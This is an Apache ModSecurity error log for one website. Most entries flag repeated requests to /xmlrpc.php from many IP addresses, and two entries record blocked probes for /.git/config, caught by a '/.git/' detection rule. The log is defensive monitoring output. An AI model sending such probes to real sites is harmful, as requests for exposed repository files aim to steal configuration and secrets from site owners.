[Fri Apr 10 23:16:50.331469 2026] [:error] [pid 63062:tid 63083] [client 144.202.29.51:34532] [client 144.202.29.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.202.29.51, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkUYp2HtsmV85NqkMcMIQAAA5M"]
[Fri Apr 10 23:18:33.812943 2026] [:error] [pid 62819:tid 62822] [client 46.21.198.186:47108] [client 46.21.198.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.21.198.186, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkUyfU20EyPf7NlsleA_wAAAoA"]
[Fri Apr 10 23:20:33.547377 2026] [:error] [pid 13101:tid 13156] [client 162.19.25.160:49868] [client 162.19.25.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.19.25.160, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkVQd8Ldw85818pj2oZNgAAAJc"]
[Fri Apr 10 23:30:49.674965 2026] [:error] [pid 13189:tid 13215] [client 34.140.181.23:26633] [client 34.140.181.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.140.181.23, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkXqZAxiJKPums3eBANZwAAAFc"]
[Fri Apr 10 23:37:37.997988 2026] [:error] [pid 62769:tid 62791] [client 82.66.189.231:37502] [client 82.66.189.231] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.66.189.231, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkZQcWsSnfLoB8ifjDKEwAAAlQ"]
[Fri Apr 10 23:37:44.069166 2026] [:error] [pid 62769:tid 62778] [client 217.216.48.92:35972] [client 217.216.48.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.216.48.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkZSMWsSnfLoB8ifjDKMQAAAkc"]
[Fri Apr 10 23:38:44.364373 2026] [:error] [pid 62769:tid 62792] [client 178.33.162.49:48304] [client 178.33.162.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.33.162.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkZhMWsSnfLoB8ifjDLGgAAAlU"]
[Fri Apr 10 23:43:55.556735 2026] [:error] [pid 62819:tid 62823] [client 192.250.227.63:54902] [client 192.250.227.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.250.227.63, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkau_U20EyPf7NlsleIagAAAoE"]
[Fri Apr 10 23:45:44.000459 2026] [:error] [pid 62710:tid 62715] [client 148.113.202.220:46262] [client 148.113.202.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.202.220, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkbJ-ME7qrf5xEWWJtMmQAAAgI"]
[Fri Apr 10 23:46:21.186233 2026] [:error] [pid 62769:tid 62786] [client 178.254.50.20:33342] [client 178.254.50.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.254.50.20, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkbTcWsSnfLoB8ifjDSYwAAAk8"]
[Fri Apr 10 23:48:55.415573 2026] [:error] [pid 62769:tid 62776] [client 34.101.217.251:59318] [client 34.101.217.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.101.217.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkb58WsSnfLoB8ifjDVaAAAAkU"]
[Sat Apr 11 00:00:54.560955 2026] [:error] [pid 63062:tid 63076] [client 69.163.206.7:34556] [client 69.163.206.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.163.206.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adketp2HtsmV85NqkMcZiAAAA4w"]
[Sat Apr 11 00:07:30.696591 2026] [:error] [pid 13189:tid 13204] [client 78.46.2.63:36434] [client 78.46.2.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.46.2.63, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkgQpAxiJKPums3eBAldwAAAEw"]
[Sat Apr 11 00:10:58.177438 2026] [:error] [pid 62769:tid 62775] [client 159.203.177.184:43346] [client 159.203.177.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.203.177.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkhEsWsSnfLoB8ifjDpSAAAAkQ"]
[Sat Apr 11 00:13:20.695527 2026] [:error] [pid 13189:tid 13200] [client 85.128.143.123:39714] [client 85.128.143.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkhoJAxiJKPums3eBAq0gAAAEg"]
[Sat Apr 11 00:19:20.198731 2026] [:error] [pid 62769:tid 62781] [client 147.182.180.16:57824] [client 147.182.180.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.180.16, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkjCMWsSnfLoB8ifjDxZQAAAko"]
[Sat Apr 11 00:21:32.035411 2026] [:error] [pid 13189:tid 13209] [client 91.204.161.79:54942] [client 91.204.161.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.204.161.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkjjJAxiJKPums3eBAwjAAAAFE"]
[Sat Apr 11 00:24:07.372751 2026] [:error] [pid 63134:tid 63148] [client 134.209.114.227:57736] [client 134.209.114.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.209.114.227, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkkJ9FALqPDwWi6eJLb3AAAA8s"]
[Sat Apr 11 00:29:10.263694 2026] [:error] [pid 62769:tid 62778] [client 167.71.24.1:51784] [client 167.71.24.1] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "adklVsWsSnfLoB8ifjD4BwAAAkc"]
[Sat Apr 11 00:29:11.505724 2026] [:error] [pid 13101:tid 13134] [client 167.71.24.1:41002] [client 167.71.24.1] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "adklV98Ldw85818pj2o-kwAAAIE"]
[Sat Apr 11 00:30:10.414347 2026] [:error] [pid 13101:tid 13137] [client 185.199.223.27:53648] [client 185.199.223.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adklkt8Ldw85818pj2o_BQAAAIQ"]
[Sat Apr 11 00:32:36.978839 2026] [:error] [pid 62769:tid 62776] [client 123.30.233.48:42540] [client 123.30.233.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.30.233.48, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkmJMWsSnfLoB8ifjD7bQAAAkU"]
[Sat Apr 11 00:34:39.567975 2026] [:error] [pid 63134:tid 63142] [client 13.239.53.175:34020] [client 13.239.53.175] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.239.53.175, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkmn9FALqPDwWi6eJLe_QAAA8U"]
[Sat Apr 11 00:35:53.760650 2026] [:error] [pid 63062:tid 63077] [client 178.33.162.49:35094] [client 178.33.162.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.33.162.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkm6Z2HtsmV85NqkMchqAAAA40"]
[Sat Apr 11 00:47:10.279412 2026] [:error] [pid 21568:tid 21582] [client 212.132.70.123:52788] [client 212.132.70.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.132.70.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkpjoiz5v_ljZxkpR-XLgAAAQo"]
[Sat Apr 11 00:47:32.380419 2026] [:error] [pid 21569:tid 21649] [client 84.201.130.79:47242] [client 84.201.130.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.201.130.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkppHAvQTgvXJ6vHop3CQAAAIQ"]
[Sat Apr 11 00:57:26.159967 2026] [:error] [pid 21568:tid 21582] [client 46.163.72.195:49164] [client 46.163.72.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.163.72.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkr9oiz5v_ljZxkpR-hRgAAAQo"]
[Sat Apr 11 01:01:08.245608 2026] [:error] [pid 21570:tid 21696] [client 15.235.163.7:55842] [client 15.235.163.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 15.235.163.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adks1DKs5t9xRSNL6cmmFgAAAFY"]
[Sat Apr 11 01:01:59.285397 2026] [:error] [pid 21570:tid 21679] [client 23.98.148.92:56696] [client 23.98.148.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.98.148.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adktBzKs5t9xRSNL6cmmwAAAAEk"]
[Sat Apr 11 01:05:14.641914 2026] [:error] [pid 21568:tid 21588] [client 87.98.165.243:56550] [client 87.98.165.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 87.98.165.243, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adktyoiz5v_ljZxkpR-nnwAAARA"]
[Sat Apr 11 01:06:40.185823 2026] [:error] [pid 21568:tid 21588] [client 62.218.30.118:47198] [client 62.218.30.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.218.30.118, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkuIIiz5v_ljZxkpR-opAAAARA"]
[Sat Apr 11 01:07:18.373059 2026] [:error] [pid 21570:tid 21673] [client 51.38.230.115:50292] [client 51.38.230.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.38.230.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkuRjKs5t9xRSNL6cmqOQAAAEY"]
[Sat Apr 11 01:09:23.386496 2026] [:error] [pid 21706:tid 21731] [client 138.197.129.229:30266] [client 138.197.129.229] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.197.129.229, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkuwyGQ1M5d8fQSsLF8MwAAABc"]
[Sat Apr 11 01:13:04.432374 2026] [:error] [pid 21570:tid 21692] [client 103.110.84.178:57956] [client 103.110.84.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.110.84.178, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkvoDKs5t9xRSNL6cmtYQAAAFI"]
[Sat Apr 11 01:20:32.190094 2026] [:error] [pid 55451:tid 55477] [client 134.209.114.227:56956] [client 134.209.114.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.209.114.227, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkxYHApxuyB7yCS5RnixgAAANg"]
[Sat Apr 11 01:25:27.042911 2026] [:error] [pid 21570:tid 21677] [client 128.140.11.209:52262] [client 128.140.11.209] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.140.11.209, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adkyhzKs5t9xRSNL6cm2CAAAAEg"]
[Sat Apr 11 01:27:23.629728 2026] [:error] [pid 21569:tid 21660] [client 67.205.159.76:33136] [client 67.205.159.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.159.76, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adky-3AvQTgvXJ6vHoqNcQAAAI4"]
[Sat Apr 11 01:37:05.718248 2026] [:error] [pid 55451:tid 55459] [client 152.53.241.40:47208] [client 152.53.241.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.53.241.40, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adk1QXApxuyB7yCS5Rny3wAAAMY"]
[Sat Apr 11 01:43:21.731089 2026] [:error] [pid 21706:tid 21710] [client 159.89.50.224:44516] [client 159.89.50.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.89.50.224, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adk2uSGQ1M5d8fQSsLGcvQAAAAI"]
[Sat Apr 11 01:43:35.682443 2026] [:error] [pid 21706:tid 21728] [client 160.250.186.233:52980] [client 160.250.186.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.250.186.233, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adk2xyGQ1M5d8fQSsLGc4QAAABQ"]
[Sat Apr 11 01:44:04.906269 2026] [:error] [pid 21569:tid 21671] [client 34.73.73.46:51196] [client 34.73.73.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.73.46, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adk25HAvQTgvXJ6vHoqUTAAAAJM"]
[Sat Apr 11 01:48:02.472080 2026] [:error] [pid 21568:tid 21581] [client 147.182.180.16:52622] [client 147.182.180.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.180.16, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adk30oiz5v_ljZxkpR_E5AAAAQk"]
[Sat Apr 11 01:51:09.911366 2026] [:error] [pid 21706:tid 21716] [client 178.33.162.49:47036] [client 178.33.162.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.33.162.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adk4jSGQ1M5d8fQSsLGjPwAAAAg"]
[Sat Apr 11 01:51:25.726819 2026] [:error] [pid 21568:tid 21583] [client 217.182.82.42:37648] [client 217.182.82.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.182.82.42, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adk4nYiz5v_ljZxkpR_HzAAAAQs"]
[Sat Apr 11 01:59:11.369445 2026] [:error] [pid 21706:tid 21712] [client 211.169.178.4:42570] [client 211.169.178.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.169.178.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adk6byGQ1M5d8fQSsLGpXgAAAAQ"]
[Sat Apr 11 02:10:04.511256 2026] [:error] [pid 21569:tid 21649] [client 37.128.148.215:60124] [client 37.128.148.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.128.148.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adk8_HAvQTgvXJ6vHoqhawAAAIQ"]
[Sat Apr 11 02:17:43.709121 2026] [:error] [pid 21569:tid 21680] [client 185.199.223.27:35166] [client 185.199.223.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adk-x3AvQTgvXJ6vHoqkoQAAAJc"]
[Sat Apr 11 02:27:57.950570 2026] [:error] [pid 21706:tid 21727] [client 152.53.87.236:39850] [client 152.53.87.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.53.87.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adlBLSGQ1M5d8fQSsLHE-wAAABM"]
[Sat Apr 11 02:49:53.255349 2026] [:error] [pid 21706:tid 21725] [client 202.61.233.177:56766] [client 202.61.233.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.61.233.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adlGUSGQ1M5d8fQSsLHdzwAAABE"]
[Sat Apr 11 03:01:38.582846 2026] [:error] [pid 55451:tid 55461] [client 147.182.243.3:49208] [client 147.182.243.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.243.3, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adlJEnApxuyB7yCS5RlABQAAAMg"]
[Sat Apr 11 03:01:41.647557 2026] [:error] [pid 21706:tid 21731] [client 202.61.225.115:55784] [client 202.61.225.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.61.225.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adlJFSGQ1M5d8fQSsLHsdgAAABc"]
[Sat Apr 11 03:07:59.378051 2026] [:error] [pid 21706:tid 21730] [client 82.223.33.117:39336] [client 82.223.33.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.33.117, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adlKjyGQ1M5d8fQSsLHz0gAAABY"]
[Sat Apr 11 03:10:28.828938 2026] [:error] [pid 55451:tid 55457] [client 82.64.81.82:48250] [client 82.64.81.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.64.81.82, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adlLJHApxuyB7yCS5RlHXQAAAMQ"]
[Sat Apr 11 03:13:32.111688 2026] [:error] [pid 21570:tid 21675] [client 128.140.11.209:57372] [client 128.140.11.209] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.140.11.209, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adlL3DKs5t9xRSNL6cnwYQAAAEc"]
[Sat Apr 11 03:18:56.236566 2026] [:error] [pid 21570:tid 21685] [client 68.183.13.1:52070] [client 68.183.13.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.183.13.1, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adlNIDKs5t9xRSNL6cny8AAAAEw"]
[Sat Apr 11 03:20:39.918917 2026] [:error] [pid 21706:tid 21711] [client 134.122.21.213:32898] [client 134.122.21.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.122.21.213, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adlNhyGQ1M5d8fQSsLEA_wAAAAM"]
[Sat Apr 11 03:20:45.153438 2026] [:error] [pid 21568:tid 21585] [client 51.178.183.70:54976] [client 51.178.183.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.178.183.70, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adlNjYiz5v_ljZxkpR_9jgAAAQ0"]
